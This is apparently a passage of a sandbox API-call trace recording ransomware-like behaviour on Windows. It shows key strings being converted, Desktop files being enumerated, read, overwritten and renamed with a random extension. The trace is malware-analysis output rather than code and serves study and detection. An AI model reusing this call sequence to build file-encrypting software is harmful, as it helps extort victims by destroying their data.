lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.106] GetCurrentThreadId () returned 0xa30 [0127.106] GetCurrentThreadId () returned 0xa30 [0127.106] GetCurrentThreadId () returned 0xa30 [0127.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.107] GetCurrentThreadId () returned 0xa30 [0127.107] GetCurrentThreadId () returned 0xa30 [0127.107] GetCurrentThreadId () returned 0xa30 [0127.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ud_n8Mu.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ud_n8mu.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.107] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.107] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.107] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3432 [0127.107] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.108] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x3432, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x3432, lpOverlapped=0x0) returned 1 [0127.110] CloseHandle (hObject=0x120) returned 1 [0127.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ud_n8Mu.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ud_n8mu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.113] WriteFile (in: hFile=0x120, lpBuffer=0x1efcfa0*, nNumberOfBytesToWrite=0x3432, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efcfa0*, lpNumberOfBytesWritten=0x18f978*=0x3432, lpOverlapped=0x0) returned 1 [0127.116] CloseHandle (hObject=0x120) returned 1 [0127.117] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ud_n8Mu.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ud_n8mu.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ud_n8Mu.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ud_n8mu.wav.zv7un")) returned 1 [0127.119] GetCurrentThreadId () returned 0xa30 [0127.119] GetCurrentThreadId () returned 0xa30 [0127.119] GetCurrentThreadId () returned 0xa30 [0127.119] GetCurrentThreadId () returned 0xa30 [0127.119] GetCurrentThreadId () returned 0xa30 [0127.119] GetCurrentThreadId () returned 0xa30 [0127.119] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646616a0, ftCreationTime.dwHighDateTime=0x1d5e16b, ftLastAccessTime.dwLowDateTime=0xaccc8550, ftLastAccessTime.dwHighDateTime=0x1d5d9aa, ftLastWriteTime.dwLowDateTime=0xaccc8550, ftLastWriteTime.dwHighDateTime=0x1d5d9aa, nFileSizeHigh=0x0, nFileSizeLow=0x178bb, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="UEeyhCQ0rsUi-3-nJSm.ods", cAlternateFileName="UEEYHC~1.ODS")) returned 1 [0127.119] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.120] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.120] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e36bcb0, ftCreationTime.dwHighDateTime=0x1d5db30, ftLastAccessTime.dwLowDateTime=0x792796d0, ftLastAccessTime.dwHighDateTime=0x1d5e2c5, ftLastWriteTime.dwLowDateTime=0x792796d0, ftLastWriteTime.dwHighDateTime=0x1d5e2c5, nFileSizeHigh=0x0, nFileSizeLow=0x15ddc, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="u_LT1cVy3Vs87U4LbN7z.odt", cAlternateFileName="U_LT1C~1.ODT")) returned 1 [0127.120] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.120] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.120] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ac76690, ftCreationTime.dwHighDateTime=0x1d5e47f, ftLastAccessTime.dwLowDateTime=0x5c26d560, ftLastAccessTime.dwHighDateTime=0x1d5e80f, ftLastWriteTime.dwLowDateTime=0x5c26d560, ftLastWriteTime.dwHighDateTime=0x1d5e80f, nFileSizeHigh=0x0, nFileSizeLow=0x7e42, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="VafNA2H199yI1tndZ.flv", cAlternateFileName="VAFNA2~1.FLV")) returned 1 [0127.120] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.120] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.120] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VafNA2H199yI1tndZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vafna2h199yi1tndz.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ac76690, ftCreationTime.dwHighDateTime=0x1d5e47f, ftLastAccessTime.dwLowDateTime=0x5c26d560, ftLastAccessTime.dwHighDateTime=0x1d5e80f, ftLastWriteTime.dwLowDateTime=0x5c26d560, ftLastWriteTime.dwHighDateTime=0x1d5e80f, nFileSizeHigh=0x0, nFileSizeLow=0x7e42)) returned 1 [0127.120] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VafNA2H199yI1tndZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vafna2h199yi1tndz.flv")) returned 0x20 [0127.120] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VafNA2H199yI1tndZ.flv", dwFileAttributes=0x80) returned 1 [0127.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMO